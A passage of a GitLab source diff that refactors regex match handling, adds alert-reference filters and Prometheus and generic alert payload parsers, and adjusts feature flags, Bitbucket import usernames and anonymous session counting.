# order to be output literally rather than escaped.
match.gsub!(/((?:&[\w#]+;)+)\z/, '')
- dropped = ($1 || '').html_safe
+ dropped = (Regexp.last_match(1) || '').html_safe
# To match the behaviour of Rinku, if the matched link ends with a
# closing part of a matched pair of punctuation, we remove that trailing
diff --git a/lib/banzai/filter/emoji_filter.rb b/lib/banzai/filter/emoji_filter.rb
index fa1690f73ad..b32fe5e8301 100644
--- a/lib/banzai/filter/emoji_filter.rb
+++ b/lib/banzai/filter/emoji_filter.rb
@@ -33,7 +33,7 @@ module Banzai
# Returns a String with :emoji: replaced with gl-emoji unicode.
def emoji_name_element_unicode_filter(text)
text.gsub(emoji_pattern) do |match|
- name = $1
+ name = Regexp.last_match(1)
Gitlab::Emoji.gl_emoji_tag(name)
end
end
diff --git a/lib/banzai/filter/gollum_tags_filter.rb b/lib/banzai/filter/gollum_tags_filter.rb
index 7928272a2cf..e16de13725f 100644
--- a/lib/banzai/filter/gollum_tags_filter.rb
+++ b/lib/banzai/filter/gollum_tags_filter.rb
@@ -64,7 +64,7 @@ module Banzai
next if has_ancestor?(node, IGNORED_ANCESTOR_TAGS)
next unless node.content =~ TAGS_PATTERN
- html = process_tag($1)
+ html = process_tag(Regexp.last_match(1))
node.replace(html) if html && html != node.content
end
diff --git a/lib/banzai/filter/inline_metrics_filter.rb b/lib/banzai/filter/inline_metrics_filter.rb
index 543d98e62be..2872ad7b632 100644
--- a/lib/banzai/filter/inline_metrics_filter.rb
+++ b/lib/banzai/filter/inline_metrics_filter.rb
@@ -10,7 +10,6 @@ module Banzai
# the cost of doing a full regex match.
def xpath_search
"descendant-or-self::a[contains(@href,'metrics') and \
- contains(@href,'environments') and \
starts-with(@href, '#{gitlab_domain}')]"
end
@@ -29,7 +28,7 @@ module Banzai
params['project'],
params['environment'],
embedded: true,
- **query_params(params['url'])
+ **query_params(params['url']).except(:environment)
)
end
end
diff --git a/lib/banzai/pipeline/broadcast_message_pipeline.rb b/lib/banzai/pipeline/broadcast_message_pipeline.rb
index e31795e673c..27118269bd0 100644
--- a/lib/banzai/pipeline/broadcast_message_pipeline.rb
+++ b/lib/banzai/pipeline/broadcast_message_pipeline.rb
@@ -7,7 +7,6 @@ module Banzai
@filters ||= FilterArray[
Filter::MarkdownFilter,
Filter::BroadcastMessageSanitizationFilter,
-
Filter::EmojiFilter,
Filter::ColorFilter,
Filter::AutolinkFilter,
diff --git a/lib/banzai/pipeline/gfm_pipeline.rb b/lib/banzai/pipeline/gfm_pipeline.rb
index 10ac813ea15..7057ac9d707 100644
--- a/lib/banzai/pipeline/gfm_pipeline.rb
+++ b/lib/banzai/pipeline/gfm_pipeline.rb
@@ -12,14 +12,11 @@ module Banzai
def self.filters
@filters ||= FilterArray[
Filter::PlantumlFilter,
-
# Must always be before the SanitizationFilter to prevent XSS attacks
Filter::SpacedLinkFilter,
-
Filter::SanitizationFilter,
Filter::AssetProxyFilter,
Filter::SyntaxHighlightFilter,
-
Filter::MathFilter,
Filter::ColorFilter,
Filter::MermaidFilter,
@@ -34,13 +31,10 @@ module Banzai
Filter::ExternalLinkFilter,
Filter::SuggestionFilter,
Filter::FootnoteFilter,
-
*reference_filters,
-
Filter::EmojiFilter,
Filter::TaskListFilter,
Filter::InlineDiffFilter,
-
Filter::SetDirectionFilter
]
end
@@ -65,7 +59,8 @@ module Banzai
Filter::CommitRangeReferenceFilter,
Filter::CommitReferenceFilter,
Filter::LabelReferenceFilter,
- Filter::MilestoneReferenceFilter
+ Filter::MilestoneReferenceFilter,
+ Filter::AlertReferenceFilter
]
end
diff --git a/lib/banzai/pipeline/single_line_pipeline.rb b/lib/banzai/pipeline/single_line_pipeline.rb
index 7fe13100ec2..a2fe6d52a90 100644
--- a/lib/banzai/pipeline/single_line_pipeline.rb
+++ b/lib/banzai/pipeline/single_line_pipeline.rb
@@ -8,11 +8,9 @@ module Banzai
Filter::HtmlEntityFilter,
Filter::SanitizationFilter,
Filter::AssetProxyFilter,
-
Filter::EmojiFilter,
Filter::AutolinkFilter,
Filter::ExternalLinkFilter,
-
*reference_filters
]
end
@@ -25,7 +23,8 @@ module Banzai
Filter::MergeRequestReferenceFilter,
Filter::SnippetReferenceFilter,
Filter::CommitRangeReferenceFilter,
- Filter::CommitReferenceFilter
+ Filter::CommitReferenceFilter,
+ Filter::AlertReferenceFilter
]
end
diff --git a/lib/banzai/reference_parser/alert_parser.rb b/lib/banzai/reference_parser/alert_parser.rb
new file mode 100644
index 00000000000..7b864d26f67
--- /dev/null
+++ b/lib/banzai/reference_parser/alert_parser.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Banzai
+ module ReferenceParser
+ class AlertParser < BaseParser
+ self.reference_type = :alert
+
+ def references_relation
+ AlertManagement::Alert
+ end
+
+ private
+
+ def can_read_reference?(user, alert, node)
+ can?(user, :read_alert_management_alert, alert)
+ end
+ end
+ end
+end
diff --git a/lib/bitbucket_server/representation/comment.rb b/lib/bitbucket_server/representation/comment.rb
index 99b97a3b181..7e55c446e76 100644
--- a/lib/bitbucket_server/representation/comment.rb
+++ b/lib/bitbucket_server/representation/comment.rb
@@ -38,7 +38,9 @@ module BitbucketServer
end
def author_username
- author['displayName']
+ author['username'] ||
+ author['slug'] ||
+ author['displayName']
end
def author_email
diff --git a/lib/bitbucket_server/representation/pull_request.rb b/lib/bitbucket_server/representation/pull_request.rb
index c3e927d8de7..2f377bdced2 100644
--- a/lib/bitbucket_server/representation/pull_request.rb
+++ b/lib/bitbucket_server/representation/pull_request.rb
@@ -11,6 +11,12 @@ module BitbucketServer
raw.dig('author', 'user', 'emailAddress')
end
+ def author_username
+ raw.dig('author', 'user', 'username') ||
+ raw.dig('author', 'user', 'slug') ||
+ raw.dig('author', 'user', 'displayName')
+ end
+
def description
raw['description']
end
diff --git a/lib/carrier_wave_string_file.rb b/lib/carrier_wave_string_file.rb
index c9a64d9e631..b6bc3d986ca 100644
--- a/lib/carrier_wave_string_file.rb
+++ b/lib/carrier_wave_string_file.rb
@@ -4,4 +4,12 @@ class CarrierWaveStringFile < StringIO
def original_filename
""
end
+
+ def self.new_file(file_content:, filename:, content_type: "application/octet-stream")
+ {
+ "tempfile" => StringIO.new(file_content),
+ "filename" => filename,
+ "content_type" => content_type
+ }
+ end
end
diff --git a/lib/constraints/jira_encoded_url_constrainer.rb b/lib/constraints/jira_encoded_url_constrainer.rb
new file mode 100644
index 00000000000..92e2fff346b
--- /dev/null
+++ b/lib/constraints/jira_encoded_url_constrainer.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Constraints
+ class JiraEncodedUrlConstrainer
+ def matches?(request)
+ request.path.starts_with?('/-/jira') || request.params[:project_id].include?(Gitlab::Jira::Dvcs::ENCODED_SLASH)
+ end
+ end
+end
diff --git a/lib/container_registry/client.rb b/lib/container_registry/client.rb
index 118eb8e2d7c..e6ca33d749b 100644
--- a/lib/container_registry/client.rb
+++ b/lib/container_registry/client.rb
@@ -21,6 +21,17 @@ module ContainerRegistry
# Taken from: FaradayMiddleware::FollowRedirects
REDIRECT_CODES = Set.new [301, 302, 303, 307]
+ def self.supports_tag_delete?
+ registry_config = Gitlab.config.registry
+ return false unless registry_config.enabled && registry_config.api_url.present?
+
+ return true if ::Gitlab.com?
+
+ token = Auth::ContainerRegistryAuthenticationService.access_token([], [])
+ client = new(registry_config.api_url, token: token)
+ client.supports_tag_delete?
+ end
+
def initialize(base_uri, options = {})
@base_uri = base_uri
@options = options
diff --git a/lib/expand_variables.rb b/lib/expand_variables.rb
index 45af30f46dc..3a50925d628 100644
--- a/lib/expand_variables.rb
+++ b/lib/expand_variables.rb
@@ -7,7 +7,7 @@ module ExpandVariables
value.gsub(/\$([a-zA-Z_][a-zA-Z0-9_]*)|\${\g<1>}|%\g<1>%/) do
variables_hash ||= transform_variables(variables)
- variables_hash[$1 || $2]
+ variables_hash[Regexp.last_match(1) || Regexp.last_match(2)]
end
end
diff --git a/lib/extracts_ref.rb b/lib/extracts_ref.rb
index 5ef2d888550..adbe93cfa3a 100644
--- a/lib/extracts_ref.rb
+++ b/lib/extracts_ref.rb
@@ -111,7 +111,6 @@ module ExtractsRef
end
def use_first_path_segment?(ref)
- return false unless ::Feature.enabled?(:extracts_path_optimization)
return false unless repository_container
return false if repository_container.repository.has_ambiguous_refs?
diff --git a/lib/feature.rb b/lib/feature.rb
index 7cf40b63fdf..71241e98723 100644
--- a/lib/feature.rb
+++ b/lib/feature.rb
@@ -18,6 +18,10 @@ class Feature
superclass.table_name = 'feature_gates'
end
+ class ActiveSupportCacheStoreAdapter < Flipper::Adapters::ActiveSupportCacheStore
+ # overrides methods in EE
+ end
+
InvalidFeatureFlagError = Class.new(Exception) # rubocop:disable Lint/InheritException
class << self
@@ -137,6 +141,12 @@ class Feature
Feature::Definition.load_all!
end
+ def register_hot_reloader
+ return unless check_feature_flags_definition?
+
+ Feature::Definition.register_hot_reloader!
+ end
+
private
def flipper
@@ -154,7 +164,7 @@ class Feature
# Redis L2 cache
redis_cache_adapter =
- Flipper::Adapters::ActiveSupportCacheStore.new(
+ ActiveSupportCacheStoreAdapter.new(
active_record_adapter,
l2_cache_backend,
expires_in: 1.hour)
@@ -231,4 +241,4 @@ class Feature
end
end
-Feature.prepend_if_ee('EE::Feature')
+Feature::ActiveSupportCacheStoreAdapter.prepend_if_ee('EE::Feature::ActiveSupportCacheStoreAdapter')
diff --git a/lib/feature/definition.rb b/lib/feature/definition.rb
index b0ea55c5805..ee779a86952 100644
--- a/lib/feature/definition.rb
+++ b/lib/feature/definition.rb
@@ -107,6 +107,20 @@ class Feature
end
end
+ def register_hot_reloader!
+ # Reload feature flags on change of this file or any `.yml`
+ file_watcher = Rails.configuration.file_watcher.new(reload_files, reload_directories) do
+ # We use `Feature::Definition` as on Ruby code-reload
+ # a new class definition is created
+ Feature::Definition.load_all!
+ end
+
+ Rails.application.reloaders << file_watcher
+ Rails.application.reloader.to_run { file_watcher.execute_if_updated }
+
+ file_watcher
+ end
+
private
def load_from_file(path)
@@ -130,6 +144,19 @@ class Feature
definitions[definition.key] = definition
end
end
+
+ def reload_files
+ [File.expand_path(__FILE__)]
+ end
+
+ def reload_directories
+ paths.each_with_object({}) do |path, result|
+ path = File.dirname(path)
+ Dir.glob(path).each do |matching_dir|
+ result[matching_dir] = 'yml'
+ end
+ end
+ end
end
end
end
diff --git a/lib/feature/shared.rb b/lib/feature/shared.rb
index 14efbb07100..c06f699ef27 100644
--- a/lib/feature/shared.rb
+++ b/lib/feature/shared.rb
@@ -8,15 +8,38 @@ class Feature
module Shared
# optional: defines if a on-disk definition is required for this feature flag type
# rollout_issue: defines if `bin/feature-flag` asks for rollout issue
+ # default_enabled: defines a default state of a feature flag when created by `bin/feature-flag`
# example: usage being shown when exception is raised
TYPES = {
development: {
description: 'Short lived, used to enable unfinished code to be deployed',
optional: true,
rollout_issue: true,
+ default_enabled: false,
example: <<-EOS
- Feature.enabled?(:my_feature_flag)
- Feature.enabled?(:my_feature_flag, type: :development)
+ Feature.enabled?(:my_feature_flag, project)
+ Feature.enabled?(:my_feature_flag, project, type: :development)
+ push_frontend_feature_flag?(:my_feature_flag, project)
+ EOS
+ },
+ ops: {
+ description: "Long-lived feature flags that control operational aspects of GitLab's behavior",
+ optional: true,
+ rollout_issue: false,
+ default_enabled: false,
+ example: <<-EOS
+ Feature.enabled?(:my_ops_flag, type: ops)
+ push_frontend_feature_flag?(:my_ops_flag, project, type: :ops)
+ EOS
+ },
+ licensed: {
+ description: 'Permanent feature flags used to temporarily disable licensed features.',
+ optional: true,
+ rollout_issue: false,
+ default_enabled: true,
+ example: <<-EOS
+ project.feature_available?(:my_licensed_feature)
+ namespace.feature_available?(:my_licensed_feature)
EOS
}
}.freeze
diff --git a/lib/gitlab/access.rb b/lib/gitlab/access.rb
index bf4438fb518..830980f0997 100644
--- a/lib/gitlab/access.rb
+++ b/lib/gitlab/access.rb
@@ -9,12 +9,13 @@ module Gitlab
module Access
AccessDeniedError = Class.new(StandardError)
- NO_ACCESS = 0
- GUEST = 10
- REPORTER = 20
- DEVELOPER = 30
- MAINTAINER = 40
- OWNER = 50
+ NO_ACCESS = 0
+ MINIMAL_ACCESS = 5
+ GUEST = 10
+ REPORTER = 20
+ DEVELOPER = 30
+ MAINTAINER = 40
+ OWNER = 50
# Branch protection settings
PROTECTION_NONE = 0
diff --git a/lib/gitlab/alert_management/alert_params.rb b/lib/gitlab/alert_management/alert_params.rb
index 84a75e62ecf..3bb839c1114 100644
--- a/lib/gitlab/alert_management/alert_params.rb
+++ b/lib/gitlab/alert_management/alert_params.rb
@@ -20,8 +20,10 @@ module Gitlab
hosts: Array(annotations[:hosts]),
payload: payload,
started_at: parsed_payload['startsAt'],
+ ended_at: parsed_payload['endsAt'],
severity: annotations[:severity],
- fingerprint: annotations[:fingerprint]
+ fingerprint: annotations[:fingerprint],
+ environment: annotations[:environment]
}
end
diff --git a/lib/gitlab/alert_management/payload.rb b/lib/gitlab/alert_management/payload.rb
new file mode 100644
index 00000000000..177d544d720
--- /dev/null
+++ b/lib/gitlab/alert_management/payload.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module AlertManagement
+ module Payload
+ MONITORING_TOOLS = {
+ prometheus: 'Prometheus'
+ }.freeze
+
+ class << self
+ # Instantiates an instance of a subclass of
+ # Gitlab::AlertManagement::Payload::Base. This can
+ # be used to create new alerts or read content from
+ # the payload of an existing AlertManagement::Alert
+ #
+ # @param project [Project]
+ # @param payload [Hash]
+ # @param monitoring_tool [String]
+ def parse(project, payload, monitoring_tool: nil)
+ payload_class = payload_class_for(
+ monitoring_tool: monitoring_tool || payload&.dig('monitoring_tool'),
+ payload: payload
+ )
+
+ payload_class.new(project: project, payload: payload)
+ end
+
+ private
+
+ def payload_class_for(monitoring_tool:, payload:)
+ if monitoring_tool == MONITORING_TOOLS[:prometheus]
+ if gitlab_managed_prometheus?(payload)
+ ::Gitlab::AlertManagement::Payload::ManagedPrometheus
+ else
+ ::Gitlab::AlertManagement::Payload::Prometheus
+ end
+ else
+ ::Gitlab::AlertManagement::Payload::Generic
+ end
+ end
+
+ def gitlab_managed_prometheus?(payload)
+ payload&.dig('labels', 'gitlab_alert_id').present?
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/alert_management/payload/base.rb b/lib/gitlab/alert_management/payload/base.rb
new file mode 100644
index 00000000000..74e47e5226e
--- /dev/null
+++ b/lib/gitlab/alert_management/payload/base.rb
@@ -0,0 +1,167 @@
+# frozen_string_literal: true
+
+# Representation of a payload of an alert. Defines a constant
+# API so that payloads from various sources can be treated
+# identically. Subclasses should define how to parse payload
+# based on source of alert.
+module Gitlab
+ module AlertManagement
+ module Payload
+ class Base
+ include ActiveModel::Model
+ include Gitlab::Utils::StrongMemoize
+ include Gitlab::Routing
+
+ attr_accessor :project, :payload
+
+ # Any attribute expected to be specifically read from
+ # or derived from an alert payload should be defined.
+ EXPECTED_PAYLOAD_ATTRIBUTES = [
+ :alert_markdown,
+ :alert_title,
+ :annotations,
+ :description,
+ :ends_at,
+ :environment,
+ :environment_name,
+ :full_query,
+ :generator_url,
+ :gitlab_alert,
+ :gitlab_fingerprint,
+ :gitlab_prometheus_alert_id,
+ :gitlab_y_label,
+ :has_required_attributes?,
+ :hosts,
+ :metric_id,
+ :metrics_dashboard_url,
+ :monitoring_tool,
+ :resolved?,
+ :runbook,
+ :service,
+ :severity,
+ :starts_at,
+ :status,
+ :title
+ ].freeze
+
+ # Define expected API for a payload
+ EXPECTED_PAYLOAD_ATTRIBUTES.each do |key|
+ define_method(key) {}
+ end
+
+ # Defines a method which allows access to a given
+ # value within an alert payload
+ #
+ # @param key [Symbol] Name expected to be used to reference value
+ # @param paths [String, Array<String>, Array<Array<String>>,]
+ # List of (nested) keys at value can be found, the
+ # first to yield a result will be used
+ # @param type [Symbol] If value should be converted to another type,
+ # that should be specified here
+ # @param fallback [Proc] Block to be executed to yield a value if
+ # a value cannot be idenitied at any provided paths
+ # Example)
+ # attribute :title
+ # paths: [['title'],
+ # ['details', 'title']]
+ # fallback: Proc.new { 'New Alert' }
+ #
+ # The above sample definition will define a method
+ # called #title which will return the value from the
+ # payload under the key `title` if available, otherwise
+ # looking under `details.title`. If neither returns a
+ # value, the return value will be `'New Alert'`
+ def self.attribute(key, paths:, type: nil, fallback: -> { nil })
+ define_method(key) do
+ strong_memoize(key) do
+ paths = Array(paths).first.is_a?(String) ? [Array(paths)] : paths
+ value = value_for_paths(paths)
+ value = parse_value(value, type) if value
+
+ value.presence || fallback.call
+ end
+ end
+ end
+
+ # Attributes of an AlertManagement::Alert as read
+ # directly from a payload. Prefer accessing
+ # AlertManagement::Alert directly for read operations.
+ def alert_params
+ {
+ description: description,
+ ended_at: ends_at,
+ environment: environment,
+ fingerprint: gitlab_fingerprint,
+ hosts: Array(hosts),
+ monitoring_tool: monitoring_tool,
+ payload: payload,
+ project_id: project.id,
+ prometheus_alert: gitlab_alert,
+ service: service,
+ severity: severity,
+ started_at: starts_at,
+ title: title
+ }.transform_values(&:presence).compact
+ end
+
+ def gitlab_fingerprint
+ strong_memoize(:gitlab_fingerprint) do
+ next unless plain_gitlab_fingerprint
+
+ Gitlab::AlertManagement::Fingerprint.generate(plain_gitlab_fingerprint)
+ end
+ end
+
+ def environment
+ strong_memoize(:environment) do
+ next unless environment_name
+
+ EnvironmentsFinder
+ .new(project, nil, { name: environment_name })
+ .find
+ .first
+ end
+ end
+
+ def resolved?
+ status == 'resolved'
+ end
+
+ def has_required_attributes?
+ true
+ end
+
+ private
+
+ def plain_gitlab_fingerprint; end
+
+ def value_for_paths(paths)
+ target_path = paths.find { |path| payload&.dig(*path) }
+
+ payload&.dig(*target_path) if target_path
+ end
+
+ def parse_value(value, type)
+ case type
+ when :time
+ parse_time(value)
+ when :integer
+ parse_integer(value)
+ else
+ value
+ end
+ end
+
+ def parse_time(value)
+ Time.parse(value).utc
+ rescue ArgumentError
+ end
+
+ def parse_integer(value)
+ Integer(value)
+ rescue ArgumentError, TypeError
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/alert_management/payload/generic.rb b/lib/gitlab/alert_management/payload/generic.rb
new file mode 100644
index 00000000000..7efdfac75dc
--- /dev/null
+++ b/lib/gitlab/alert_management/payload/generic.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+# Attribute mapping for alerts via generic alerting integration.
+module Gitlab
+ module AlertManagement
+ module Payload
+ class Generic < Base
+ DEFAULT_TITLE = 'New: Incident'
+ DEFAULT_SEVERITY = 'critical'
+
+ attribute :environment_name, paths: 'gitlab_environment_name'
+ attribute :hosts, paths: 'hosts'
+ attribute :monitoring_tool, paths: 'monitoring_tool'
+ attribute :runbook, paths: 'runbook'
+ attribute :service, paths: 'service'
+ attribute :severity, paths: 'severity', fallback: -> { DEFAULT_SEVERITY }
+ attribute :starts_at, paths: 'start_time', type: :time, fallback: -> { Time.current.utc }
+ attribute :title, paths: 'title', fallback: -> { DEFAULT_TITLE }
+
+ attribute :plain_gitlab_fingerprint, paths: 'fingerprint'
+ private :plain_gitlab_fingerprint
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/alert_management/payload/managed_prometheus.rb b/lib/gitlab/alert_management/payload/managed_prometheus.rb
new file mode 100644
index 00000000000..2236e60a0c6
--- /dev/null
+++ b/lib/gitlab/alert_management/payload/managed_prometheus.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+# Attribute mapping for alerts via prometheus alerting integration,
+# and for which payload includes gitlab-controlled attributes.
+module Gitlab
+ module AlertManagement
+ module Payload
+ class ManagedPrometheus < ::Gitlab::AlertManagement::Payload::Prometheus
+ attribute :gitlab_prometheus_alert_id,
+ paths: %w(labels gitlab_prometheus_alert_id),
+ type: :integer
+ attribute :metric_id,
+ paths: %w(labels gitlab_alert_id),
+ type: :integer
+
+ def gitlab_alert
+ strong_memoize(:gitlab_alert) do
+ next unless metric_id || gitlab_prometheus_alert_id
+
+ alerts = Projects::Prometheus::AlertsFinder
+ .new(project: project, metric: metric_id, id: gitlab_prometheus_alert_id)
+ .execute
+
+ next if alerts.blank? || alerts.size > 1
+
+ alerts.first
+ end
+ end
+
+ def full_query
+ gitlab_alert&.full_query || super
+ end
+
+ def environment
+ gitlab_alert&.environment || super
+ end
+
+ def metrics_dashboard_url
+ return unless gitlab_alert
+
+ metrics_dashboard_project_prometheus_alert_url(
+ project,
+ gitlab_alert.prometheus_metric_id,
+ environment_id: environment.id,
+ embedded: true,
+ **alert_embed_window_params
+ )
+ end
+
+ private
+
+ def plain_gitlab_fingerprint
+ [metric_id, starts_at_raw].join('/')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/alert_management/payload/prometheus.rb b/lib/gitlab/alert_management/payload/prometheus.rb
new file mode 100644
index 00000000000..336e9b319e8
--- /dev/null
+++ b/lib/gitlab/alert_management/payload/prometheus.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+# Attribute mapping for alerts via prometheus alerting integration.
+module Gitlab
+ module AlertManagement
+ module Payload
+ class Prometheus < Base
+ attribute :alert_markdown, paths: %w(annotations gitlab_incident_markdown)
+ attribute :annotations, paths: 'annotations'
+ attribute :description, paths: %w(annotations description)
+ attribute :ends_at, paths: 'endsAt', type: :time
+ attribute :environment_name, paths: %w(labels gitlab_environment_name)
+ attribute :generator_url, paths: %w(generatorURL)
+ attribute :gitlab_y_label,
+ paths: [%w(annotations gitlab_y_label),
+ %w(annotations title),
+ %w(annotations summary),
+ %w(labels alertname)]
+ attribute :runbook, paths: %w(annotations runbook)
+ attribute :starts_at,
+ paths: 'startsAt',
+ type: :time,
+ fallback: -> { Time.current.utc }
+ attribute :status, paths: 'status'
+ attribute :title,
+ paths: [%w(annotations title),
+ %w(annotations summary),
+ %w(labels alertname)]
+
+ attribute :starts_at_raw,
+ paths: [%w(startsAt)]
+ private :starts_at_raw
+
+ METRIC_TIME_WINDOW = 30.minutes
+
+ def monitoring_tool
+ Gitlab::AlertManagement::Payload::MONITORING_TOOLS[:prometheus]
+ end
+
+ # Parses `g0.expr` from `generatorURL`.
+ #
+ # Example: http://localhost:9090/graph?g0.expr=vector%281%29&g0.tab=1
+ def full_query
+ return unless generator_url
+
+ uri = URI(generator_url)
+
+ Rack::Utils.parse_query(uri.query).fetch('g0.expr')
+ rescue URI::InvalidURIError, KeyError
+ end
+
+ def metrics_dashboard_url
+ return unless environment && full_query && title
+
+ metrics_dashboard_project_environment_url(
+ project,
+ environment,
+ embed_json: dashboard_json,
+ embedded: true,
+ **alert_embed_window_params
+ )
+ end
+
+ def has_required_attributes?
+ project && title && starts_at_raw
+ end
+
+ private
+
+ def plain_gitlab_fingerprint
+ [starts_at_raw, title, full_query].join('/')
+ end
+
+ # Formatted for parsing by JS
+ def alert_embed_window_params
+ {
+ start: (starts_at - METRIC_TIME_WINDOW).utc.strftime('%FT%TZ'),
+ end: (starts_at + METRIC_TIME_WINDOW).utc.strftime('%FT%TZ')
+ }
+ end
+
+ def dashboard_json
+ {
+ panel_groups: [{
+ panels: [{
+ type: 'area-chart',
+ title: title,
+ y_label: gitlab_y_label,
+ metrics: [{
+ query_range: full_query
+ }]
+ }]
+ }]
+ }.to_json
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/alerting/notification_payload_parser.rb b/lib/gitlab/alerting/notification_payload_parser.rb
index f285dcf507f..348f851f551 100644
--- a/lib/gitlab/alerting/notification_payload_parser.rb
+++ b/lib/gitlab/alerting/notification_payload_parser.rb
@@ -20,7 +20,8 @@ module Gitlab
def call
{
'annotations' => annotations,
- 'startsAt' => starts_at
+ 'startsAt' => starts_at,
+ 'endsAt' => ends_at
}.compact
end
@@ -55,7 +56,8 @@ module Gitlab
'service' => payload[:service],
'hosts' => hosts.presence,
'severity' => severity,
- 'fingerprint' => fingerprint
+ 'fingerprint' => fingerprint,
+ 'environment' => environment
}
end
@@ -73,8 +75,24 @@ module Gitlab
current_time
end
+ def ends_at
+ Time.parse(payload[:end_time].to_s).rfc3339
+ rescue ArgumentError
+ nil
+ end
+
+ def environment
+ environment_name = payload[:gitlab_environment_name]
+
+ return unless environment_name
+
+ EnvironmentsFinder.new(project, nil, { name: environment_name })
+ .find
+ &.first
+ end
+
def secondary_params
- payload.except(:start_time)
+ payload.except(:start_time, :end_time)
end
def flatten_secondary_params
diff --git a/lib/gitlab/analytics/cycle_analytics/default_stages.rb b/lib/gitlab/analytics/cycle_analytics/default_stages.rb
index 79e60e28fc7..fc91dd6e138 100644
--- a/lib/gitlab/analytics/cycle_analytics/default_stages.rb
+++ b/lib/gitlab/analytics/cycle_analytics/default_stages.rb
@@ -18,8 +18,7 @@ module Gitlab
params_for_code_stage,
params_for_test_stage,
params_for_review_stage,
- params_for_staging_stage,
- params_for_production_stage
+ params_for_staging_stage
]
end
@@ -86,16 +85,6 @@ module Gitlab
end_event_identifier: :merge_request_first_deployed_to_production
}
end
-
- def self.params_for_production_stage
- {
- name: 'production',
- custom: false,
- relative_position: 7,
- start_event_identifier: :issue_created,
- end_event_identifier: :production_stage_end
- }
- end
end
end
end
diff --git a/lib/gitlab/analytics/cycle_analytics/stage_events/production_stage_end.rb b/lib/gitlab/analytics/cycle_analytics/stage_events/production_stage_end.rb
index cf05ebeb706..b778364a917 100644
--- a/lib/gitlab/analytics/cycle_analytics/stage_events/production_stage_end.rb
+++ b/lib/gitlab/analytics/cycle_analytics/stage_events/production_stage_end.rb
@@ -6,7 +6,7 @@ module Gitlab
module StageEvents
class ProductionStageEnd < StageEvent
def self.name
- _("Issue first depoloyed to production")
+ _("Issue first deployed to production")
end
def self.identifier
diff --git a/lib/gitlab/analytics/instance_statistics/workers_argument_builder.rb b/lib/gitlab/analytics/instance_statistics/workers_argument_builder.rb
new file mode 100644
index 00000000000..636bba22c23
--- /dev/null
+++ b/lib/gitlab/analytics/instance_statistics/workers_argument_builder.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Analytics
+ module InstanceStatistics
+ class WorkersArgumentBuilder
+ def initialize(measurement_identifiers: [], recorded_at: Time.zone.now)
+ @measurement_identifiers = measurement_identifiers
+ @recorded_at = recorded_at
+ end
+
+ def execute
+ measurement_identifiers.map do |measurement_identifier|
+ query_scope = ::Analytics::InstanceStatistics::Measurement::IDENTIFIER_QUERY_MAPPING[measurement_identifier]&.call
+
+ next if query_scope.nil?
+
+ # Determining the query range (id range) as early as possible in order to get more accurate counts.
+ start = query_scope.minimum(:id)
+ finish = query_scope.maximum(:id)
+
+ [measurement_identifier, start, finish, recorded_at]
+ end.compact
+ end
+
+ private
+
+ attr_reader :measurement_identifiers, :recorded_at
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/analytics/unique_visits.rb b/lib/gitlab/analytics/unique_visits.rb
index ad746ebbd42..292048dcad9 100644
--- a/lib/gitlab/analytics/unique_visits.rb
+++ b/lib/gitlab/analytics/unique_visits.rb
@@ -14,23 +14,23 @@ module Gitlab
# @param [ActiveSupport::TimeWithZone] end_date end of time frame
# @return [Integer] number of unique visitors
def unique_visits_for(targets:, start_date: 7.days.ago, end_date: start_date + 1.week)
- target_ids = if targets == :analytics
- self.class.analytics_ids
- elsif targets == :compliance
- self.class.compliance_ids
- else
- Array(targets)
- end
+ events = if targets == :analytics
+ self.class.analytics_events
+ elsif targets == :compliance
+ self.class.compliance_events
+ else
+ Array(targets)
+ end
- Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: target_ids, start_date: start_date, end_date: end_date)
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: start_date, end_date: end_date)
end
class << self
- def analytics_ids
+ def analytics_events
Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('analytics')
end
- def compliance_ids
+ def compliance_events
Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('compliance')
end
end
diff --git a/lib/gitlab/anonymous_session.rb b/lib/gitlab/anonymous_session.rb
index 148b6d3310d..911825eef3a 100644
--- a/lib/gitlab/anonymous_session.rb
+++ b/lib/gitlab/anonymous_session.rb
@@ -2,35 +2,34 @@
module Gitlab
class AnonymousSession
- def initialize(remote_ip, session_id: nil)
+ def initialize(remote_ip)
@remote_ip = remote_ip
- @session_id = session_id
end
- def store_session_id_per_ip
+ def count_session_ip
Gitlab::Redis::SharedState.with do |redis|
redis.pipelined do
- redis.sadd(session_lookup_name, session_id)
+ redis.incr(session_lookup_name)
redis.expire(session_lookup_name, 24.hours)
end
end
end
- def stored_sessions
+ def session_count
Gitlab::Redis::SharedState.with do |redis|
- redis.scard(session_lookup_name)
+ redis.get(session_lookup_name).to_i
end
end
- def cleanup_session_per_ip_entries
+ def cleanup_session_per_ip_count
Gitlab::Redis::SharedState.with do |redis|
- redis.srem(session_lookup_name, session_id)
+ redis.del(session_lookup_name)
end
end
private
- attr_reader :remote_ip, :session_id
+ attr_reader :remote_ip
def session_lookup_name
@session_lookup_name ||= "#{Gitlab::Redis::SharedState::IP_SESSIONS_LOOKUP_NAMESPACE}:#{remote_ip}"
diff --git a/lib/gitlab/application_context.rb b/lib/gitlab/application_context.rb
index a3feda9bb59..30cb74bcf54 100644
--- a/lib/gitlab/application_context.rb
+++ b/lib/gitlab/application_context.rb
@@ -29,7 +29,7 @@ module Gitlab
Labkit::Context.current.to_h.include?(Labkit::Context.log_key(attribute_name))
end
- def initialize(**args)
+ def initialize(args)
unknown_attributes = args.keys - APPLICATION_ATTRIBUTES.map(&:name)
raise ArgumentError, "#{unknown_attributes} are not known keys" if unknown_attributes.any?
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
